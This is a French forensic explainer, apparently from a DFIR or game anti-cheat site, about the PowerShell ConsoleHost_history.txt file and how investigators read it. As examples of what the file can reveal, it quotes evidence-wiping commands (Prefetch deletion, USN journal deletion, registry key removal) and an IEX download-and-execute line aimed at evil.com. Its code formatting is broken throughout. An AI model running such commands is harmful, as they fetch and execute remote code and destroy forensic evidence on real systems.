Historique des commandes PowerShell
But et fonction
L’historique des commandes PowerShell est une fonctionnalité du module PSReadLine, qui est l’expérience d’édition en ligne de commande par défaut dans les consoles PowerShell modernes (Windows 10/11 et versions ultérieures). Sa fonction principale est d’offrir une commodité à l’utilisateur en enregistrant l’historique de toutes les commandes saisies dans des sessions PowerShell interactives. Cela permet aux utilisateurs de se rappeler et de réexécuter facilement les commandes précédentes en appuyant sur les touches haut/bas.
Du point de vue DFIR, cette fonctionnalité centrée sur l’utilisateur crée un journal chronologique en clair des actions d’un administrateur ou d’un utilisateur en ligne de commande. Il peut fournir un enregistrement non filtré et mot à mot de l’interaction manuelle avec le système, de l’exécution des scripts et des activités potentielles anti-médico-légales.
Emplacement et structure
L’historique des commandes est stocké dans un simple fichier texte brut.
Emplacement:
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtCela se résout généralement à :
C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
La structure du fichier est simple : chaque commande saisie par l’utilisateur est ajoutée sous forme d’une nouvelle ligne dans le fichier. Le fichier ne stocke généralement pas d’horodatages pour chaque commande individuelle, mais l’horodatage « Date modifiée » du fichier lui-même indique l’heure à laquelle la dernière commande a été ajoutée (c’est-à-dire la fermeture de la dernière session interactive PowerShell).ConsoleHost_history.txt
Métadonnées stockées
L’artefact lui-même est simple, ne contenant que les commandes brutes telles que saisies par l’utilisateur. Cependant, ces données brutes sont extrêmement précieuses :
Ordres mot à mot : Il enregistre exactement les commandes, interrupteurs et arguments utilisés. Cela peut révéler des chemins de fichiers, des clés de registre manipulées, des URL accédées ou des scripts encodés en cours d’exécution.
Ordre chronologique : Les commandes sont stockées dans l’ordre dans lequel elles ont été exécutées au sein et entre les sessions, fournissant une séquence logique d’actions utilisateur.
Attribution utilisateur : Le fichier est stocké dans le profil AppData d’un utilisateur spécifique, reliant directement l’activité en ligne de commande à ce compte utilisateur.
Valeur médico-légale
L’historique des commandes PowerShell est un artefact inestimable pour reconstituer les actions manuelles d’un attaquant ou d’un utilisateur malveillant.
Révélateur d’Anti-Médico-légale manuel : C’est l’un des meilleurs endroits pour trouver des preuves de validation manuelle. Des commandes comme , , ou peuvent être capturées mot pour mot.
del C:\Windows\Prefetch\*.pffsutil usn deletejournal /D C:reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssistDécouvrir l’exécution « sans fichier » : Il peut capturer les commandes initiales utilisées pour exécuter des logiciels malveillants sans fichiers ou des contournements. Cela inclut les commandes qui téléchargent et exécutent des scripts directement en mémoire () ou exécutent des commandes encodées ().
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')powershell.exe -EncodedCommand ...Manipulation du système de fichiers de suivi : Il enregistre les commandes utilisées pour créer, déplacer, renommer ou supprimer des fichiers et des répertoires (, , , ).
New-ItemMove-ItemRename-ItemRemove-ItemIdentification de la reconnaissance système : Il peut afficher des commandes utilisées par un attaquant pour recueillir des informations sur le système, telles que , , ou des commandes d’énumération réseau.
Get-ProcessGet-Service
Il est important de noter que ce fichier historique ne journalise que les commandes issues de sessions PowerShell interactives. Les commandes exécutées par des scripts non interactifs exécutées directement (par exemple, clic droit -> « Exécuter avec PowerShell ») ne sont généralement pas enregistrées dans ce fichier. De plus, un utilisateur avisé peut supprimer le fichier pour effacer ses traces.ConsoleHost_history.txt
Points de réflexion (Concours SS)
Pour un ScreenSharer, le fichier historique PowerShell est une transcription directe des activités en ligne de commande d’un joueur et un lieu idéal pour trouver des preuves « irréfutables » de tentatives de contournement.
Le journal des confessions : Cet artefact peut donner l’impression de lire une confession. Trouver exactement la commande qu’un joueur a saisie pour supprimer son dossier de prélecture (), effacer une clé de registre ou exécuter un script de chargement est une preuve indéniable d’intention.
Remove-Item C:\Windows\Prefetch\* -RecurseExposition de l’exécution d’extensions usurpées : Si un joueur utilise une commande comme exécuter un cheat renommé, cette commande exacte peut être enregistrée dans le fichier historique, prouvant directement l’exécution d’un exécutable déguisé.
Start-Process C:\Users\Player\Desktop\cheat.tmpUn chèque rapide et de grande valeur : Lors d’un partage d’écran, ouvrir simplement le fichier dans Notepad est une vérification rapide et efficace. Un rapide défilement peut immédiatement révéler une activité suspecte qui mérite une enquête plus approfondie.
ConsoleHost_history.txtPreuves de défrichement : Si le fichier historique manque, ou si son horodatage « Date de modification » est très récent (ce qui suggère qu’il a simplement été effacé et recréé), et que vous trouvez des preuves d’exécution PowerShell dans d’autres artefacts (comme le prélecture pour ), vous avez un argument solide pour l’effacement des preuves.
powershell.exe
Mis à jour
